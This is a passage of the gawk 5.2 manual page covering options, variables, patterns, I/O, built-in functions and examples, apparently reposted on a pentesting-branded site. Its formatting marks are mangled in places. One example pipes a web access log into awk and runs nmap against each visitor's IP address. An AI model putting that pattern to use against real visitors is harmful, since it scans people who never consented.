- -lint-old Provide warnings about constructs that are not portable to the original version of UNIX awk.

-V,
- -version Print version information for this particular copy of gawk on the standard output. This is useful when reporting bugs. Per the GNU Coding Standards, these options cause an immediate, successful exit.

- -
Signal the end of options. This is useful to allow further arguments to the AWK program itself to start with a “-”.

In compatibility mode, any other options are flagged as invalid, but are otherwise ignored. In normal operation, as long as program text has been supplied, unknown options are passed on to the AWK program in the ARGV array for processing.

For POSIX compatibility, the -W option may be used, followed by the name of a long option.

AWK PROGRAM EXECUTION

An AWK program consists of a sequence of optional directives, pattern-action statements, and optional function definitions.

**@include “***filename *
**@load “***filename *
**@namespace “name 
pattern { action statements }
function name
(parameter list) {
statements }

Gawk first reads the program source from the program-file(s) if specified, from arguments to - -source, or from the first non-option argument on the command line. The -f and - -source options may be used multiple times on the command line. Gawk reads the program text as if all the program-files and command line source texts had been concatenated together.

In addition, lines beginning with @include may be used to include other source files into your program. This is equivalent to using the - -include option.

Lines beginning with @load may be used to load extension functions into your program. This is equivalent to using the - -load option.

The environment variable AWKPATH specifies a search path to use when finding source files named with the -f and - -include options. If this variable does not exist, the default path is ".:/usr/local/share/awk". (The actual directory may vary, depending upon how gawk was built and installed.) If a file name given to the -f option contains a “/” character, no path search is performed.

The environment variable AWKLIBPATH specifies a search path to use when finding source files named with the - -load option. If this variable does not exist, the default path is "/usr/local/lib/gawk". (The actual directory may vary, depending upon how gawk was built and installed.)

Gawk executes AWK programs in the following order. First, all variable assignments specified via the -v option are performed. Next, gawk compiles the program into an internal form. Then, gawk executes the code in the BEGIN rule(s) (if any), and then proceeds to read each file named in the ARGV array (up to ARGV[ARGC-1]). If there are no files named on the command line, gawk reads the standard input.

If a filename on the command line has the form var**=**val it is treated as a variable assignment. The variable var will be assigned the value val. (This happens after any BEGIN rule(s) have been run.)

If the value of a particular element of ARGV is empty (""), gawk skips over it.

For each input file, if a BEGINFILE rule exists, gawk executes the associated code before processing the contents of the file. Similarly, gawk executes the code associated with ENDFILE rules after processing the file.

For each record in the input, gawk tests to see if it matches any pattern in the AWK program. For each pattern that the record matches, gawk executes the associated action. The patterns are tested in the order they occur in the program.

Finally, after all the input is exhausted, gawk executes the code in the END rule(s) (if any).

Command Line Directories

According to POSIX, files named on the awk command line must be text files. The behavior is ``undefined’’ if they are not. Most versions of awk treat a directory on the command line as a fatal error.

For gawk, a directory on the command line produces a warning, but is otherwise skipped. If either of the - -posix or - -traditional options is given, then gawk reverts to treating directories on the command line as a fatal error.

VARIABLES, RECORDS AND FIELDS

AWK variables are dynamic; they come into existence when they are first used. Their values are either floating-point numbers or strings, or both, depending upon how they are used. Additionally, gawk allows variables to have regular-expression type. AWK also has one dimensional arrays; arrays with multiple dimensions may be simulated. However, gawk provides true arrays of arrays. Several pre-defined variables are set as a program runs; these are described as needed and summarized below.

Records

Normally, records are separated by newline characters. You can control how records are separated by assigning values to the built-in variable RS. See https://www.gnu.org/software/gawk/manual/html_node/Records.html for the details.

Fields

As each input record is read, gawk splits the record into fields, using the value of the FS variable as the field separator. Additionally, FIELDWIDTHS and FPAT may be used to control input field splitting. See the details, starting at https://www.gnu.org/software/gawk/manual/html_node/Fields.html.

Each field in the input record may be referenced by its position: $1, $2, and so on. $0 is the whole record, including leading and trailing whitespace.

The variable NF is set to the total number of fields in the input record.

References to non-existent fields (i.e., fields after $NF) produce the null string. However, assigning to a non-existent field (e.g., $(NF+2) = 5) increases the value of NF, creates any intervening fields with the null string as their values, and causes the value of $0 to be recomputed, with the fields being separated by the value of OFS. References to negative numbered fields cause a fatal error. Decrementing NF causes the values of fields past the new value to be lost, and the value of $0 to be recomputed, with the fields being separated by the value of OFS.

Assigning a value to an existing field causes the whole record to be rebuilt when $0 is referenced. Similarly, assigning a value to $0 causes the record to be resplit, creating new values for the fields.

Built-in Variables

*Gawk *’s built-in variables are listed below. This list is purposely terse. For details, see https://www.gnu.org/software/gawk/manual/html_node/Built_002din-Variables.

ARGC
The number of command line arguments.

ARGIND
The index in ARGV of the current file being processed.

ARGV
Array of command line arguments. The array is indexed from 0 to ARGC - 1.

BINMODE
On non-POSIX systems, specifies use of “binary” mode for all file I/O. See https://www.gnu.org/software/gawk/manual/html_node/PC-Using.html for the details.

CONVFMT
The conversion format for numbers, "%.6g", by default.

ENVIRON
An array containing the values of the current environment. The array is indexed by the environment variables, each element being the value of that variable.

ERRNO
If a system error occurs either doing a redirection for getline, during a read for getline, or during a close(), then ERRNO is set to a string describing the error. The value is subject to translation in non-English locales.

FIELDWIDTHS
A whitespace-separated list of field widths. When set, gawk parses the input into fields of fixed width, instead of using the value of the FS variable as the field separator. Each field width may optionally be preceded by a colon-separated value specifying the number of characters to skip before the field starts.

FILENAME
The name of the current input file. If no files are specified on the command line, the value of FILENAME is “-”. However, FILENAME is undefined inside the BEGIN rule (unless set by getline).

FNR
The input record number in the current input file.

FPAT
A regular expression describing the contents of the fields in a record. When set, gawk parses the input into fields, where the fields match the regular expression, instead of using the value of FS as the field separator.

FS
The input field separator, a space by default. See https://www.gnu.org/software/gawk/manual/html_node/Field-Separators.html for the details.

FUNCTAB
An array whose indices and corresponding values are the names of all the user-defined or extension functions in the program. NOTE: You may not use the delete statement with the FUNCTAB array.

IGNORECASE
Controls the case-sensitivity of all regular expression and string operations. See https://www.gnu.org/software/gawk/manual/html_node/Case_002dsensitivity.html for details.

LINT
Provides dynamic control of the - -lint option from within an AWK program.

NF
The number of fields in the current input record.

NR
The total number of input records seen so far.

OFMT
The output format for numbers, "%.6g", by default.

OFS
The output field separator, a space by default.

ORS
The output record separator, by default a newline.

PREC
The working precision of arbitrary precision floating-point numbers, 53 by default.

PROCINFO
The elements of this array provide access to information about the running AWK program. See https://www.gnu.org/software/gawk/manual/html_node/Auto_002dset for the details.

ROUNDMODE
The rounding mode to use for arbitrary precision arithmetic on numbers, by default “N” (IEEE-754 roundTiesToEven mode). See https://www.gnu.org/software/gawk/manual/html_node/Setting-the-rounding-mode for the details.

RS
The input record separator, by default a newline.

RT
The record terminator. Gawk sets RT to the input text that matched the character or regular expression specified by RS.

RSTART
The index of the first character matched by match(); 0 if no match.

RLENGTH
The length of the string matched by match(); -1 if no match.

SUBSEP
The string used to separate multiple subscripts in array elements, by default “”.

SYMTAB
An array whose indices are the names of all currently defined global variables and arrays in the program. You may not use the delete statement with the SYMTAB array, nor assign to elements with an index that is not a variable name.

TEXTDOMAIN
The text domain of the AWK program; used to find the localized translations for the program’s strings.

Arrays

Arrays are subscripted with an expression between square brackets ([ and ]). If the expression is an expression list (expr, expr . . .) then the array subscript is a string consisting of the concatenation of the (string) value of each expression, separated by the value of the SUBSEP variable. This facility is used to simulate multiply dimensioned arrays. For example:

i = “A”;  j = “B”;  k = “C”
x[i, j, k] = “hello, world "

assigns the string “hello, world “ to the element of the array x which is indexed by the string “ABC”. All arrays in AWK are associative, i.e., indexed by string values.

The special operator in may be used to test if an array has an index consisting of a particular value:

if (val in array) print array[val]

If the array has multiple subscripts, use (i, j) in array.

The in construct may also be used in a for loop to iterate over all the elements of an array. However, the (i, j) in array construct only works in tests, not in for loops.

An element may be deleted from an array using the delete statement. The delete statement may also be used to delete the entire contents of an array, just by specifying the array name without a subscript.

gawk supports true multidimensional arrays. It does not require that such arrays be ``rectangular’’ as in C or C++. See https://www.gnu.org/software/gawk/manual/html_node/Arrays for details.

Namespaces

Gawk provides a simple namespace facility to help work around the fact that all variables in AWK are global.

A qualified name consists of a two simple identifiers joined by a double colon (::). The left-hand identifier represents the namespace and the right-hand identifier is the variable within it. All simple (non-qualified) names are considered to be in the ``current’’ namespace; the default namespace is awk. However, simple identifiers consisting solely of uppercase letters are forced into the awk namespace, even if the current namespace is different.

You change the current namespace with an **@namespace “***name * directive.

The standard predefined builtin function names may not be used as namespace names. The names of additional functions provided by gawk may be used as namespace names or as simple identifiers in other namespaces. For more details, see https://www.gnu.org/software/gawk/manual/html_node/Namespaces.html#Namespaces.

Variable Typing And Conversion

Variables and fields may be (floating point) numbers, or strings, or both. They may also be regular expressions. How the value of a variable is interpreted depends upon its context. If used in a numeric expression, it will be treated as a number; if used as a string it will be treated as a string.

To force a variable to be treated as a number, add zero to it; to force it to be treated as a string, concatenate it with the null string.

Uninitialized variables have the numeric value zero and the string value "” (the null, or empty, string).

When a string must be converted to a number, the conversion is accomplished using strtod(3). A number is converted to a string by using the value of CONVFMT as a format string for sprintf(3), with the numeric value of the variable as the argument. However, even though all numbers in AWK are floating-point, integral values are always converted as integers.

Gawk performs comparisons as follows: If two variables are numeric, they are compared numerically. If one value is numeric and the other has a string value that is a “numeric string,” then comparisons are also done numerically. Otherwise, the numeric value is converted to a string and a string comparison is performed. Two strings are compared, of course, as strings.

Note that string constants, such as “57”, are not numeric strings, they are string constants. The idea of “numeric string” only applies to fields, getline input, FILENAME, ARGV elements, ENVIRON elements and the elements of an array created by split() or patsplit() that are numeric strings. The basic idea is that user input, and only user input, that looks numeric, should be treated that way.

Octal and Hexadecimal Constants

You may use C-style octal and hexadecimal constants in your AWK program source code. For example, the octal value 011 is equal to decimal 9, and the hexadecimal value 0x11 is equal to decimal 17.

String Constants

String constants in AWK are sequences of characters enclosed between double quotes (like “value”). Within strings, certain escape sequences are recognized, as in C. See https://www.gnu.org/software/gawk/manual/html_node/Escape-Sequences for the details.

Regexp Constants

A regular expression constant is a sequence of characters enclosed between forward slashes (like /value/).

The escape sequences described in the manual may also be used inside constant regular expressions (e.g., /[ ]/ matches whitespace characters).

Gawk provides strongly typed regular expression constants. These are written with a leading @ symbol (like so: @/value/). Such constants may be assigned to scalars (variables, array elements) and passed to user-defined functions. Variables that have been so assigned have regular expression type.

PATTERNS AND ACTIONS

AWK is a line-oriented language. The pattern comes first, and then the action. Action statements are enclosed in { and }. Either the pattern may be missing, or the action may be missing, but, of course, not both. If the pattern is missing, the action executes for every single record of input. A missing action is equivalent to

{ print }

which prints the entire record.

Comments begin with the # character, and continue until the end of the line. Empty lines may be used to separate statements. Normally, a statement ends with a newline, however, this is not the case for lines ending in a comma, {, ?, :, &&, or ||. Lines ending in do or else also have their statements automatically continued on the following line. In other cases, a line can be continued by ending it with a “, in which case the newline is ignored. However, a “\ after a # is not special.

Multiple statements may be put on one line by separating them with a “;”. This applies to both the statements within the action part of a pattern-action pair (the usual case), and to the pattern-action statements themselves.

Patterns

AWK patterns may be one of the following:

BEGIN END BEGINFILE ENDFILE /regular expression/ relational expression pattern && pattern pattern || pattern pattern ? pattern : pattern (pattern) ! pattern pattern1, pattern2

BEGIN and END are two special kinds of patterns which are not tested against the input. The action parts of all BEGIN patterns are merged as if all the statements had been written in a single BEGIN rule. They are executed before any of the input is read. Similarly, all the END rules are merged, and executed when all the input is exhausted (or when an exit statement is executed). BEGIN and END patterns cannot be combined with other patterns in pattern expressions. BEGIN and END patterns cannot have missing action parts.

BEGINFILE and ENDFILE are additional special patterns whose actions are executed before reading the first record of each command-line input file and after reading the last record of each file. Inside the BEGINFILE rule, the value of ERRNO is the empty string if the file was opened successfully. Otherwise, there is some problem with the file and the code should use nextfile to skip it. If that is not done, gawk produces its usual fatal error for files that cannot be opened.

For /regular expression/ patterns, the associated statement is executed for each input record that matches the regular expression. Regular expressions are essentially the same as those in egrep(1). See https://www.gnu.org/software/gawk/manual/html_node/Regexp.html for the details on regular expressions.

A relational expression may use any of the operators defined below in the section on actions. These generally test whether certain fields match certain regular expressions.

The &&, ||, and ! operators are logical AND, logical OR, and logical NOT, respectively, as in C. They do short-circuit evaluation, also as in C, and are used for combining more primitive pattern expressions. As in most languages, parentheses may be used to change the order of evaluation.

The ? : operator is like the same operator in C. If the first pattern is true then the pattern used for testing is the second pattern, otherwise it is the third. Only one of the second and third patterns is evaluated.

The pattern1**, **pattern2 form of an expression is called a range pattern. It matches all input records starting with a record that matches pattern1, and continuing until a record that matches pattern2, inclusive. It does not combine with any other sort of pattern expression.

Actions

Action statements are enclosed in braces, { and }. Action statements consist of the usual assignment, conditional, and looping statements found in most languages. The operators, control statements, and input/output statements available are patterned after those in C.

Operators

The operators in AWK, in order of decreasing precedence, are:

(. . .)
Grouping

$
Field reference.

++ - -
Increment and decrement, both prefix and postfix.

^
Exponentiation.

+ - !
Unary plus, unary minus, and logical negation.

* / %
Multiplication, division, and modulus.

+ -
Addition and subtraction.

space
String concatenation.

| |&
Piped I/O for getline, print, and printf.

< > <= >= == !=
The regular relational operators.

~ !~
Regular expression match, negated match.

in
Array membership.

&&
Logical AND.

||
Logical OR.

?:
The C conditional expression. This has the form expr1** ? expr2 : **expr3 . If expr1 is true, the value of the expression is expr2, otherwise it is expr3. Only one of expr2 and expr3 is evaluated.

= += -= *= /= %= ^=
Assignment. Both absolute assignment (var = value) and operator-assignment (the other forms) are supported.

Control Statements

The control statements are as follows:

if (condition) statement [ else statement ] while (condition) statement do statement while (condition) for (expr1; expr2; expr3) statement for (var in array) statement break continue delete array [ index ] delete array  exit [ expression ] { statements } switch (expression) { case value|regex : statement . . . [ default: statement ] }

I/O Statements

The input/output statements are as follows:

close(file [, how])
Close an open file, pipe or coprocess. The optional how should only be used when closing one end of a two-way pipe to a coprocess. It must be a string value, either “to” or “from”.

getline
Set $0 from the next input record; set NF, NR, FNR, RT.

**getline <**file
Set $0 from the next record of file; set NF, RT.

getline* var*
Set var from the next input record; set NR, FNR, RT.

getline* var*** <**file
Set var from the next record of file; set RT.

command | getline [var]
Run command, piping the output either into $0 or var, as above, and RT.

command |& getline [var]
Run command as a coprocess piping the output either into $0 or var, as above, and RT. (The command can also be a socket. See the subsection Special File Names, below.)

fflush([*file *])
Flush any buffers associated with the open output file or pipe file. If file is missing or if it is the null string, then flush all open output files and pipes.

next
Stop processing the current input record. Read the next input record and start processing over with the first pattern in the AWK program. Upon reaching the end of the input data, execute any END rule(s).

nextfile
Stop processing the current input file. The next input record read comes from the next input file. Update FILENAME and ARGIND, reset FNR to 1, and start processing over with the first pattern in the AWK program. Upon reaching the end of the input data, execute any ENDFILE and END rule(s).

print
Print the current record. The output record is terminated with the value of ORS.

print* expr-list*
Print expressions. Each expression is separated by the value of OFS. The output record is terminated with the value of ORS.

print* expr-list*** >**file
Print expressions on file. Each expression is separated by the value of OFS. The output record is terminated with the value of ORS.

printf* fmt, expr-list*
Format and print.

printf* fmt, expr-list*** >**file
Format and print on file.

system(cmd-line)
Execute the command cmd-line, and return the exit status. (This may not be available on non-POSIX systems.) See https://www.gnu.org/software/gawk/manual/html_node/I_002fO-Functions.html#I_002fO-Functions for the full details on the exit status.

Additional output redirections are allowed for print and printf.

print . . . >>* file*
Append output to the file.

print . . . |* command*
Write on a pipe.

print . . . |&* command*
Send data to a coprocess or socket. (See also the subsection Special File Names, below.)

The getline command returns 1 on success, zero on end of file, and -1 on an error. If the errno(3) value indicates that the I/O operation may be retried, and **PROCINFO[”***input *”, “RETRY”] is set, then -2 is returned instead of -1, and further calls to getline may be attempted. Upon an error, ERRNO is set to a string describing the problem.

NOTE: Failure in opening a two-way socket results in a non-fatal error being returned to the calling function. If using a pipe, coprocess, or socket to getline, or from print or printf within a loop, you must use close() to create new instances of the command or socket. AWK does not automatically close pipes, sockets, or coprocesses when they return EOF.

The AWK versions of the printf statement and sprintf() function are similar to those of C. For details, see https://www.gnu.org/software/gawk/manual/html_node/Printf.html.

Special File Names

When doing I/O redirection from either print or printf into a file, or via getline from a file, gawk recognizes certain special filenames internally. These filenames allow access to open file descriptors inherited from *gawk *’s parent process (usually the shell). These file names may also be used on the command line to name data files. The filenames are:

-
The standard input.

/dev/stdin
The standard input.

/dev/stdout
The standard output.

/dev/stderr
The standard error output.

**/dev/fd/ **n
The file associated with the open file descriptor n.

The following special filenames may be used with the |& coprocess operator for creating TCP/IP network connections:

**/inet/tcp/lport/rhost/**rport

**/inet4/tcp/lport/rhost/**rport

**/inet6/tcp/lport/rhost/**rport Files for a TCP/IP connection on local port lport to remote host rhost on remote port rport. Use a port of 0 to have the system pick a port. Use /inet4 to force an IPv4 connection, and /inet6 to force an IPv6 connection. Plain /inet uses the system default (most likely IPv4). Usable only with the |& two-way I/O operator.

**/inet/udp/lport/rhost/**rport

**/inet4/udp/lport/rhost/**rport

**/inet6/udp/lport/rhost/**rport Similar, but use UDP/IP instead of TCP/IP.

Numeric Functions

AWK has the following built-in arithmetic functions:

atan2(y,* x***)**
Return the arctangent of y/x in radians.

cos(expr)
Return the cosine of expr, which is in radians.

exp(expr)
The exponential function.

int(expr)
Truncate to integer.

intdiv(num, denom, result)
Truncate num and denom to integers. Return the quotient of num divided by denom in result**[“quotient”]** and the remainder in result**[“remainder”]**. This is a gawk extension, primarily of value when working with arbitrarily large integers.

log(expr)
The natural logarithm function.

rand()
Return a random number N, between zero and one, such that 0 ≤ N < 1.

sin(expr)
Return the sine of expr, which is in radians.

sqrt(expr)
Return the square root of expr.

srand([*expr *])
Use expr as the new seed for the random number generator. If no expr is provided, use the time of day. Return the previous seed for the random number generator.

String Functions

Gawk has the following built-in string functions; details are provided in https://www.gnu.org/software/gawk/manual/html_node/String-Functions.

asort(s [, d [, how] ])
Return the number of elements in the source array s. Sort the contents of s using *gawk *’s normal rules for comparing values, and replace the indices of the sorted values s with sequential integers starting with 1. If the optional destination array d is specified, first duplicate s into d, and then sort d, leaving the indices of the source array s unchanged. The optional string how controls the direction and the comparison mode. Valid values for how are described in https://www.gnu.org/software/gawk/manual/html_node/String-Functions.html#String-Functions. s and d are allowed to be the same array; this only makes sense when supplying the third argument as well.

asorti(s [, d [, how] ])
Return the number of elements in the source array s. The behavior is the same as that of asort(), except that the array indices are used for sorting, not the array values. When done, the array is indexed numerically, and the values are those of the original indices. The original values are lost; thus provide a second array if you wish to preserve the original. The purpose of the optional string how is the same as for asort(). Here too, s and d are allowed to be the same array; this only makes sense when supplying the third argument as well.

gensub(r, s**,** h [, t])
Search the target string t for matches of the regular expression r. If h is a string beginning with g or G, then replace all matches of r with s. Otherwise, h is a number indicating which match of r to replace. If t is not supplied, use $0 instead. Within the replacement text s, the sequence ****n, where n is a digit from 1 to 9, may be used to indicate just the text that matched the n’th parenthesized subexpression. The sequence represents the entire matched text, as does the character &. Unlike sub() and gsub(), the modified string is returned as the result of the function, and the original target string is not changed.

gsub(r, s [, t])
For each substring matching the regular expression r in the string t, substitute the string s, and return the number of substitutions. If t is not supplied, use $0. An & in the replacement text is replaced with the text that was actually matched. Use ** to get a literal &. (This must be typed as "&"; see https://www.gnu.org/software/gawk/manual/html_node/Gory-Details.html#Gory-Details for a fuller discussion of the rules for ampersands and backslashes in the replacement text of sub(), gsub(), and gensub().)

index(s,* t***)**
Return the index of the string t in the string s, or zero if t is not present. (This implies that character indices start at one.)

length([s])
Return the length of the string s, or the length of $0 if s is not supplied. With an array argument, length() returns the number of elements in the array.

match(s, r [, a])
Return the position in s where the regular expression r occurs, or zero if r is not present, and set the values of RSTART and RLENGTH. Note that the argument order is the same as for the ~ operator: str** ~** re.

See https://www.gnu.org/software/gawk/manual/html_node/String-Functions.html#String-Functions for a description of how the array a is filled if it is provided.

patsplit(s, a [, r [, seps] ])
Split the string s into the array a and the separators array seps on the regular expression r, and return the number of fields. Element values are the portions of s that matched r. The value of seps[i] is the possibly null separator that appeared after a[i]. The value of seps[0] is the possibly null leading separator. If r is omitted, FPAT is used instead. The arrays a and seps are cleared first. Splitting behaves identically to field splitting with FPAT.

split(s, a [, r [, seps] ])
Split the string s into the array a and the separators array seps on the regular expression r, and return the number of fields. If r is omitted, FS is used instead. The arrays a and seps are cleared first. seps[i] is the field separator matched by r between a[i] and a[i+1]. Splitting behaves identically to field splitting.

**sprintf(***fmt , expr-list *)
Print expr-list according to fmt, and return the resulting string.

strtonum(str)
Examine str, and return its numeric value. If str begins with a leading 0, treat it as an octal number. If str begins with a leading 0x or 0X, treat it as a hexadecimal number. Otherwise, assume it is a decimal number.

sub(r, s [, t])
Just like gsub(), but replace only the first matching substring. Return either zero or one.

substr(s, i [, n])
Return the at most n-character substring of s starting at i. If n is omitted, use the rest of s.

tolower(str)
Return a copy of the string str, with all the uppercase characters in str translated to their corresponding lowercase counterparts. Non-alphabetic characters are left unchanged.

toupper(str)
Return a copy of the string str, with all the lowercase characters in str translated to their corresponding uppercase counterparts. Non-alphabetic characters are left unchanged.

Gawk is multibyte aware. This means that index(), length(), substr() and match() all work in terms of characters, not bytes.

Time Functions

Gawk provides the following functions for obtaining time stamps and formatting them. Details are provided in https://www.gnu.org/software/gawk/manual/html_node/Time-Functions.

mktime(datespec [, utc-flag])
Turn datespec into a time stamp of the same form as returned by systime(), and return the result. If utc-flag is present and is non-zero or non-null, the time is assumed to be in the UTC time zone; otherwise, the time is assumed to be in the local time zone. If datespec does not contain enough elements or if the resulting time is out of range, mktime() returns -1. See https://www.gnu.org/software/gawk/manual/html_node/Time-Functions.html#Time-Functions for the details of datespec.

strftime([format [, timestamp[, utc-flag]]])
Format timestamp according to the specification in format. If utc-flag is present and is non-zero or non-null, the result is in UTC, otherwise the result is in local time. The timestamp should be of the same form as returned by systime(). If timestamp is missing, the current time of day is used. If format is missing, a default format equivalent to the output of date(1) is used. The default format is available in PROCINFO[“strftime”]. See the specification for the strftime() function in ISO C for the format conversions that are guaranteed to be available.

systime()
Return the current time of day as the number of seconds since the Epoch (1970-01-01 00:00:00 UTC on POSIX systems).

Bit Manipulations Functions

Gawk supplies the following bit manipulation functions. They work by converting double-precision floating point values to uintmax_t integers, doing the operation, and then converting the result back to floating point. Passing negative operands to any of these functions causes a fatal error.

The functions are:

and(v1, v2 [, …])
Return the bitwise AND of the values provided in the argument list. There must be at least two.

compl(val)
Return the bitwise complement of val.

lshift(val, count**)**
Return the value of val, shifted left by count bits.

or(v1, v2 [, …])
Return the bitwise OR of the values provided in the argument list. There must be at least two.

rshift(val, count**)**
Return the value of val, shifted right by count bits.

xor(v1, v2 [, …])
Return the bitwise XOR of the values provided in the argument list. There must be at least two.

Type Functions

The following functions provide type related information about their arguments.

isarray(x)
Return true if x is an array, false otherwise.

typeof(x)
Return a string indicating the type of x. The string will be one of “array”, “number”, “regexp”, “string”, “strnum”, “unassigned”, or “undefined”.

Internationalization Functions

The following functions may be used from within your AWK program for translating strings at run-time. For full details, see https://www.gnu.org/software/gawk/manual/html_node/I18N-Functions.html#I18N-Functions.

bindtextdomain(directory [, domain])
Specify the directory where gawk looks for the .gmo files, in case they will not or cannot be placed in the ``standard’’ locations. It returns the directory where domain is ``bound.''

The default domain is the value of TEXTDOMAIN. If directory is the null string (""), then bindtextdomain() returns the current binding for the given domain.

dcgettext(string [, domain [, category]])
Return the translation of string in text domain domain for locale category category. The default value for domain is the current value of TEXTDOMAIN. The default value for category is “LC_MESSAGES”.

dcngettext(string1, string2**,** number [, domain [, category]])
Return the plural form used for number of the translation of string1 and string2 in text domain domain for locale category category. The default value for domain is the current value of TEXTDOMAIN. The default value for category is “LC_MESSAGES”.

Boolean Valued Functions

You can create special Boolean-typed values; see the manual for how they work and why they exist.

**mkbool(***expression *)
Based on the boolean value of expression return either a true value or a false value. True values have numeric value one. False values have numeric value zero.

USER-DEFINED FUNCTIONS

Functions in AWK are defined as follows:

function name**(parameter list) {** statements }

Functions execute when they are called from within expressions in either patterns or actions. Actual parameters supplied in the function call are used to instantiate the formal parameters declared in the function. Arrays are passed by reference, other variables are passed by value.

Local variables are declared as extra parameters in the parameter list. The convention is to separate local variables from real parameters by extra spaces in the parameter list. For example:

function f(p, q, a, b) # a and b are local { . . . }

/abc/	{ . . . ; f(1, 2) ; . . . }

The left parenthesis in a function call is required to immediately follow the function name, without any intervening whitespace. This restriction does not apply to the built-in functions listed above.

Functions may call each other and may be recursive. Function parameters used as local variables are initialized to the null string and the number zero upon function invocation.

Use return* expr* to return a value from a function. The return value is undefined if no value is provided, or if the function returns by “falling off” the end.

Functions may be called indirectly. To do this, assign the name of the function to be called, as a string, to a variable. Then use the variable as if it were the name of a function, prefixed with an @ sign, like so:

function myfunc() { print “myfunc called” . . . }

{	. . .
	the_func = "myfunc"
	@the_func()	# call through the_func to myfunc
	. . .
}

If - -lint has been provided, gawk warns about calls to undefined functions at parse time, instead of at run time. Calling an undefined function at run time is a fatal error.

DYNAMICALLY LOADING NEW FUNCTIONS

You can dynamically add new functions written in C or C++ to the running gawk interpreter with the @load statement. The full details are beyond the scope of this manual page; see https://www.gnu.org/software/gawk/manual/html_node/Dynamic-Extensions.html#Dynamic-Extensions.

SIGNALS

The gawk profiler accepts two signals. SIGUSR1 causes it to dump a profile and function call stack to the profile file, which is either awkprof.out, or whatever file was named with the - -profile option. It then continues to run. SIGHUP causes gawk to dump the profile and function call stack and then exit.

INTERNATIONALIZATION

String constants are sequences of characters enclosed in double quotes. In non-English speaking environments, it is possible to mark strings in the AWK program as requiring translation to the local natural language. Such strings are marked in the AWK program with a leading underscore (“_”). For example,

gawk ‘BEGIN { print “hello, world” }’

always prints hello, world. But,

gawk ‘BEGIN { print _“hello, world” }’

might print bonjour, monde in France. See https://www.gnu.org/software/gawk/manual/html_node/Internationalization.html#Internationalization for the steps involved in producing and running a localizable AWK program.

GNU EXTENSIONS

Gawk has a too-large number of extensions to POSIX awk. They are described in https://www.gnu.org/software/gawk/manual/html_node/POSIX_002fGNU.html. All the extensions can be disabled by invoking gawk with the - -traditional or - -posix options.

ENVIRONMENT VARIABLES

The AWKPATH environment variable can be used to provide a list of directories that gawk searches when looking for files named via the -f, - -file, -i and - -include options, and the @include directive. If the initial search fails, the path is searched again after appending .awk to the filename.

The AWKLIBPATH environment variable can be used to provide a list of directories that gawk searches when looking for files named via the -l and - -load options.

The GAWK_PERSIST_FILE environment variable, if present, specifies a file to use as the backing store for persistent memory. This is an experimental feature. See GAWK: Effective AWK Programming for the details.

The GAWK_READ_TIMEOUT environment variable can be used to specify a timeout in milliseconds for reading input from a terminal, pipe or two-way communication including sockets.

For connection to a remote host via socket, GAWK_SOCK_RETRIES controls the number of retries, and GAWK_MSEC_SLEEP the interval between retries. The interval is in milliseconds. On systems that do not support usleep(3), the value is rounded up to an integral number of seconds.

If POSIXLY_CORRECT exists in the environment, then gawk behaves exactly as if - -posix had been specified on the command line. If - -lint has been specified, gawk issues a warning message to this effect.

Set GAWK_NO_MPFR_WARN in the environment to silence the warning about MPFR mode being deprecated.

EXIT STATUS

If the exit statement is used with a value, then gawk exits with the numeric value given to it.

Otherwise, if there were no problems during execution, gawk exits with the value of the C constant EXIT_SUCCESS. This is usually zero.

If an error occurs, gawk exits with the value of the C constant EXIT_FAILURE. This is usually one.

If gawk exits because of a fatal error, the exit status is 2. On non-POSIX systems, this value may be mapped to EXIT_FAILURE.

VERSION INFORMATION

This man page documents gawk, version 5.2.

AUTHORS

The original version of UNIX awk was designed and implemented by Alfred Aho, Peter Weinberger, and Brian Kernighan of Bell Laboratories. Brian Kernighan continues to maintain and enhance it.

Paul Rubin and Jay Fenlason, of the Free Software Foundation, wrote gawk, to be compatible with the original version of awk distributed in Seventh Edition UNIX. John Woods contributed a number of bug fixes. David Trueman, with contributions from Arnold Robbins, made gawk compatible with the new version of UNIX awk. Arnold Robbins is the current maintainer.

See GAWK: Effective AWK Programming for a full list of the contributors to gawk and its documentation.

See the README file in the gawk distribution for up-to-date information about maintainers and which ports are currently supported.

BUG REPORTS

If you find a bug in gawk, please use the gawkbug(1) program to report it.

Full instructions for reporting a bug are provided in https://www.gnu.org/software/gawk/manual/html_node/Bugs.html. Please carefully read and follow the instructions given there. This will make bug reporting and resolution much easier for everyone involved. Really.

BUGS

The -F option is not necessary given the command line variable assignment feature; it remains only for backwards compatibility.

This manual page is too long; gawk has too many features.

SEE ALSO

egrep(1), sed(1), gawkbug(1), printf(3), and strftime(3).

The AWK Programming Language, Alfred V. Aho, Brian W. Kernighan, Peter J. Weinberger, Addison-Wesley, 1988. ISBN 0-201-07981-X.

GAWK: Effective AWK Programming, Edition 5.2, shipped with the gawk source. The current version of this document is available online at https://www.gnu.org/software/gawk/manual.

The GNU gettext documentation, available online at https://www.gnu.org/software/gettext.

EXAMPLES

Print and sort the login names of all users:

	BEGIN	{ FS = ":" }
		{ print $1 | "sort" }

Count lines in a file:

		{ nlines++ }
	END	{ print nlines }

Precede each line by its number in the file:

	{ print FNR, $0 }

Concatenate and line number (a variation on a theme):

	{ print NR, $0 }

Run an external command for particular lines of data:

	tail -f access_log |
	awk '/myhome.html/ { system("nmap " $1 ">> logdir/myhome.html") }'

ACKNOWLEDGEMENTS

Brian Kernighan provided valuable assistance during testing and debugging. We thank him.

COPYING PERMISSIONS

Copyright © 1989, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2001, 2002, 2003, 2004, 2005, 2007, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Free Software Foundation, Inc.

Permission is granted to make and distribute verbatim copies of this manual page provided the copyright notice and this permission notice are preserved on all copies.

Permission is granted to process this file through troff and print the results, provided the printed document carries copying permission notice identical to this one except for the removal of this paragraph (this paragraph not being relevant to the printed manual page).

Permission is granted to copy and distribute modified versions of this manual page under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.

Permission is granted to copy and distribute translations of this manual page into another language, under the above conditions for modified versions, except that this permission notice may be stated in a translation approved by the Foundation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
